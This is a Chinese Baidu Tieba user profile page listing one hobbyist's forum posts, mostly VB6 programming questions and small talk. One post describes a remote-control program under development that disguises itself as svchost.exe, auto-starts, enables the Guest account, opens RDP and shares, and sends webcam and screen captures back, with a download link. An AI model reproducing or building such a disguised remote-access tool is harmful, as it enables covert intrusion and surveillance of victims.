park201314的个人资料

有谁知道2012年8月18日在顺德，有送宝马的抽奖吗？有谁知道2012年8月18日在顺德，有送宝马的抽奖吗？

VB运行身份改为系统进程后出现的问题。我写了一个后台计时程序，程序是分两个的，一个是在系统服务项启动，检测到计时程序没运行就马上运行。但问题来了。先分开说第一种情况，不用服务项来启动计时程序，就是直接双击启动，这时没出现问题。一切正常。运行身份为Administrator(在进程那里可以看到，是用户身份) 第二种情况，用服务项来启动，这时运行身份为System(系统进程)，这时问题来了。因为计时程序有密码验证的，当我输入密码，也就是弹出来一个窗口，这时输入法就会自动转到另一种输入法，而多试几次，这个输入法只要一打字就会自动关闭当前窗口。很奇怪，只能到VB吧里救助了。如何要源码的话，我打包发到你们油箱。希望高手信看看是何问题。本人是菜鸟，很多都不懂，多多指教。。。

正在编写的远程控制程序。请大家多多指教。 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.gdshgs.com%2FUploadFiles%2Frmctrl.rar&urlrefer=e9ec98c8ad2a74ed6f287dae55d7eaf2 VB 6.0 本程序运行后会在启动项自动添加启动，暂时没隐藏主窗口，复制本身到c:\windows\svchost.exe 主要功能包括，模拟DOS操作，远程传送文件，更新客户端，激活GUEST，开启共享，打开3389，屏幕截图并发回本地，摄像头截图并发回本地，图形查看远程硬盘的文件列表(超过4K会看不完)，新建文件夹，删除文件，等等，有待完善。。。希望大家给点意见或建议。。。谢谢。。时尚工作室

【时尚工作室】给汶川人民带去祝福。【时尚工作室】给汶川人民带去祝福。

果然牛人。果然牛人。

RealPlayer不是不好，就是太麻烦。。 RealPlayer不是不好，就是太麻烦。。现在这个世界上并不是没有了RealPlayer就看不了电影，RealPlayer的漏实在太多了，而且它还支持在播放时弹出网页，近来还有一些病毒用它来传播。知道暴风的都会用暴风，但有些电影还是要RealPlay来支持，太矛盾了。但我会把RealPlayer的执行文件改名。这样病毒就不能利用它来传播了。。一举两得。。

求助：用VB能实现用代理登陆吗？求助：用VB能实现用代理登陆吗？

关于vb listbox 滚动条本人在编写一个带有listbox的程序时，发现在装有VB的机子上运行是可以显示所有的项。（也就是没有滚动条）。但在别的没有装VB的机子上却发现listbox里的字体比原来的大了一些，这时右边的滚动条就出现了。我已经在源码里定义了listbox字体的大小了。请问这是什么原因泥。如果不是很明白的话，请加本人QQ：154727226

关于WEBPLAYER地址，请帮忙。 x = CheckPlayer();function PlayerInit(szServerHost){WebPlayer.ServerMode= "2";WebPlayer.UserName= "网吧用户";WebPlayer.UserID= "16";WebPlayer.PlayMode= "1";//SendTypeWebPlayer.PlayModeValue= "20059";//MultiIP_AddrWebPlayer.ChannelID= "20059";WebPlayer.AuthenHost= GetHostName(this.location.href) + ":" + GetHostPort(this.location.href);WebPlayer.ServerHost= "1.1.1.1";//IpAddrWebPlayer.Session= ""; //"";WebPlayer.ProtocolType= "1";WebPlayer.EmbedMode= "1";WebPlayer.ProgName= "惊天强奸案 - 下集";WebPlayer.ContorlWidth = 322;WebPlayer.ContorlHeight= 320;WebPlayer.Start();}function RestorePlayerWindow(iWidth, iHeight){window.resizeTo(iWidth, iHeight);availWidth= screen.Width;availHeight= screen.availHeight;iTmpPix= availWidth - iWidth;iWinLeft= iTmpPix / 2;iTmpPix= availHeight - iHeight;iWinHeight= iTmpPix / 2;window.moveTo(iWinLeft, iWinHeight);}function GetHostName(szUrl){iNameSize= szUrl.indexOf("/", 7) - 7;szUrl= szUrl.substr(7, iNameSize);if(szUrl.indexOf(":") > 0)iNameSize = szUrl.indexOf(":");szHostName= szUrl.substr(0, iNameSize);return szHostName;}function GetHostPort(szUrl){var szHostPort, iPortPos, iPortSize;if(szUrl.indexOf(":", 5) > 0){iPortPos = szUrl.indexOf(":", 5) + 1;if(szUrl.indexOf("/", iPortPos) > 0)iPortSize = szUrl.indexOf("/", iPortPos) - iPortPos;szHostPort = szUrl.substr(iPortPos, iPortSize);}else{szHostPort = 80;}return szHostPort;}function CheckPlayer(){try{var oTest = new ActiveXObject("VGPlayer.WebVGPlayer.1");}catch(e){if(window.opener == undefined){window.alert("首次点播将安装播放器插件...");window.open("../download/WebPlayer.exe");history.back(-1);}else{window.opener.alert("首次点播将安装播放器插件...");window.opener.open("../download/WebPlayer.exe");self.close();}return false;}delete oTest;PlayerInit("1.1.1.1");//RestorePlayerWindow(334, 352);return true;}function GetServerHost(){szServerHost = "";if(szServerHost.length == 0){alert("\n对不起，服务器集群负荷已满或您的地址不在服务范围内！");self.close();}if(szServerHost == "-1")szServerHost = GetHostName(this.location.href) + ":80";return szServerHost;} function closeselect(){document.getElementById("closs").src="player.js?"+Math.random();}var typeidd = 31;cint = setInterval("closeselect();",500);这是我在网吧找到的代码，在IE打上址址可以看到电影，播放器就在网页里是WEBPLYAER播放器。能不能在以上代码找到电影的真正地址呢。。还需要什么东东呢？

请教，关于托盘请教，关于托盘Private Sub Timer1_Timer()TheData.szTip= TimeShell_NotifyIcon NIM_MODIFY, TheDataEnd Sub为什么托盘的标题不会跟着改变呢？？？

关于显示隐藏文件用到SendMessage的问题，请教。 SetDWORDValue "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL", "CheckedValue", "0"上面改了注册表的值后，然后用SendMessage但这句代码应该怎么写呢。因为这个API实在太复杂了。在止请教一下大家。

吧主，这干嘛的，签到贴子不知跑那去了。应该置顶嘛。可能有半年没上来了。签个名，走了。

到底“百度”的管理员有没有去解决丢贴这个问题的。到底“百度”的管理员有没有去解决丢贴这个问题的。我发现经常丢贴的，我所写的都是正常的东西，怎么会被“百度”删了。也有可能是“百度”的服务器本身就不稳定。。唉。

QQ2007多用户自动登陆器 V1.1 http://www.skycn.com/soft/36313.html学了VB不是很久，做了这个东东出来，希望大家不要见笑啊。本软件用VB6.0编写。本软件支挂9个用户记录，单个登陆或一键就部登陆。QQ保存在INI里的密码经过MD5和BASE64加密后，再经过本软件加密，也就是经过三重加密，一般用户是不可能破解此密码。当然此版本还没本地密码，不过在以后的版本会加进去，近来因时间比较忙，但是一般在家里用的都是自己的QQ，别人的很少会上的。

一个比较好玩的东东。有兴趣你也来玩一下吧。 Dim i As LongPrivate Sub Form_Load()Form1.HideTimer1.Interval = 10End SubPrivate Sub Timer1_Timer()i = i + 4srad = 0.104666 * ia = 512 + (100 * Sin(srad))b = 384 - (100 * Cos(srad))SetCursorPos a, bIf i = 10000 Then EndEnd Sub

求助。。VB函数的应用。下面的execScript('r = DateDiff("s",date1,date2)','vbscript');我无法正确使用，请问问题出在那里呢？ function c(){if(event.button==2){alert('!作者:时尚打工仔!')}}document.onmousedown=cfunction a(){var n=new Date();var y=n.getYear();var m=n.getMonth()+1;var d=n.getDate();var H=n.getHours();var E=n.getMinutes();var S=n.getSeconds();var date1=y+"-"+m+"-"+d+" "+H+":"+E+":"+S;var date2="2008-08-08 20:00:00"; execScript('r = DateDiff("s",date1,date2)','vbscript');s1=(r>60 ? r%60 : "");m1=parseInt(r>60 ? (r/60)%60 : "");h1=parseInt(r>3600 ? (r/3600)%24 :"");d1=parseInt(r/3600/24);document.c.a.value=("北京奥运倒计时:"+d1+"日 "+h1+"时 "+m1+"分 "+s1+"秒");document.c.b.value=("现在是北京时间:"+y+"年 "+m+"月 "+d+"日 "+H+"时 "+E+"分 "+S+"秒");}setInterval("a()",100)

好似只有香港人先可以打出广东话的字，有强人可以开发“广东话输入好似只有香港人先可以打出广东话的字，有强人可以开发“广东话输入法”吗？甘样好似对我地广东人唔公平WO。因为香港用既系繁体中文，而我地用既系简体，不过，简体有好多字系打唔出黎，而繁体我地又唔一定识字，更唔好讲话打出黎啦。所以，如果要用简体打广东话，甘一定会错漏百出啦。所以，在下强烈建议有边个强人可以开发一个广东话输入法。不过唔知系用乜输入法。如果用拼音输入，点打啊，如果用五笔输入，个字点写啊。哈哈。唔使讲，就只得一个字，难。

关闭端口，如：80，3389，145之类。请问各位大虾，用VB如何实现关闭端口，如：80，3389，145之类。

关于 “谁能复制这个图，谁就是电脑高手！ ”这个贴子的问题。好了，现在哥哥就要来解释一下这个东东的原理了。。。虽然我试了很多次，但已经想到答案了。。如下：有一点大家理应要了解一下的。　　网页是用来看东西的。如果看不到的东西在论坛里基本上是没有用的。也就是说，英文的空格如果多于一个的话，那第二个就没用了。(保留一个是因为网页必需要有空格。) 　　　　所以网页在提交的时候把超过一个的空格给删除，只留一个。也就是说，你如果在两个字母或两个中文字中间加上两个或以上的空格，网页提交的时候就自动就成一个。这也是为了节省服务器的空间。KNOW。。。　　　而在中文输入法里面，如果是半角输入空格，它也是英文里的字符。如果你转到全角输入的空格，那这个空格就是一个中文的字符了。　　　因为这个网页并没有把多于两个的中文全角空格给变成一个，所以。。。。懂了。。。。。　　　　　　　　懂了。 http://post.baidu.com/f?kz=154151315　　　　　 ..------.. 　　/~~-.-~__-'`-__　~-.　.-~-. 　 |　 /~~~\　　/ ~~---\| 　　| 　 |　||| * |　| | |　* | 　　| 　 /_-|\ \ /　　\ \ \__.|\.　| 　　~　\~~ 　|_|　 ~~~~ /　~-.\ 　　　　~-.._ 　　 _.-~~ 　　　　　.--~~~~~~--. 　　　　|　|______|　| 　　　　　~-|______|-~ 　　　　　　|　　　| 　　　　　　|______| 　　　　　　|　| 　| 　　　　　　|__|___| 　　　　　　|_|| _|| 　　　　　　`--'`--'

QQ中的PWDHash参数已做成DLL。有兴趣的可以直接下载。怎么贴吧常丢贴子。。http://www.freewebs.com/park201314/QQPwdHash.dll在“工程”--> "引用" 以上QQPwdHash.dll文件。在Form填上以下代码直接运用。Option ExplicitDim x As New Class1Private Sub Command1_Click()Text2.Text = x.Str2QQPwdHash(Text1.Text)End Sub就知道人懒。所以上次发的源码都没人看。DLL应该有人要吧。

她是二、三线的演员，没办法。她是二、三线的演员，没办法。本人没见过他拍的广告。包括网络广告。电视广告。电台广告，就都没见过。其实本人觉得她拍的戏还可以。但没有一部戏她的戏份是比较重的，我看过她的戏，最重的可以说是《纵横四海》了，ATV没让她做配角，更别说主角了。在网上我搜她的名字是很少的。也很少人会留意她的名字，只是常常在戏里看到她的出现，却很少去关心她的真正名字和她的资料。我看了《纵横四海》发觉得，怎么这个演员很熟悉，但却不知道她的名字呢。只是因为她的每一部戏都是很少戏份，而且角色也不是太重要。所以很少人会留意她。　　　说到样子，她算不上一个真正的美女，演戏也不算太突出，为什么不突出呢。只是因为ＡＴＶ根本没有让她发展的机会。其实很多演员在ＡＴＶ都红不起来。红起来的，却都走到别的地方发展了，。　　　她拍的戏很多，贴吧里有介绍，却没有一部戏会一炮而红。可能没有人际关系吧。因为我看到现在很多红起来的演员，很多都不是因为他的实力。而是因为他的财力或是人际关系。就像是那个周Ｘ伦，唱歌不好听，听来听去都不知道他在唱什么。演戏更不用说了，但他所拍的关于ＸＸ车的电影却很火，但他依然有很多ＦＡＮＳ，现在这个鱼乐圈不是说你有实力就可以上去，像这样的演员有很多很的多，一个一个都是用钱切起来的。我承认我是有一点喜欢黄瑷瑶，（喜欢一个人需要理由吗）。

原来娴娴在《纵横四海》也有演出来。原来娴娴在《纵横四海》也有演出来。不好意思啊。不能发图片。。。在《纵横四海》第四集里，出演明星的年轻时代。

本人想下载TVB西游记II,,,但找了很久也没找到.请各位帮一下忙. 本人想下载TVB西游记II,,,但找了很久也没找到.请各位帮一下忙.在百度知道那里有高分.http://zhidao.baidu.com/question/15779874.html在下就此谢过..

一个比较好的QQ挂机平台.. http://61.143.219.88:8080/?serverip=127.0.0.1&serverport=1280

一个比较好的QQ挂机平台. http://61.143.219.88:8080/?serverip=127.0.0.1&serverport=1280

QQ挂机服务器地址 http://218.15.230.111:8080/?serverip=127.0.0.1&serverport=1282

一个比较好的QQ挂机地址.. http://218.15.230.111:8080/?serverip=127.0.0.1&serverport=1282

一个比较好的QQ挂机地址. http://218.15.230.111:8080/?serverip=127.0.0.1&serverport=1282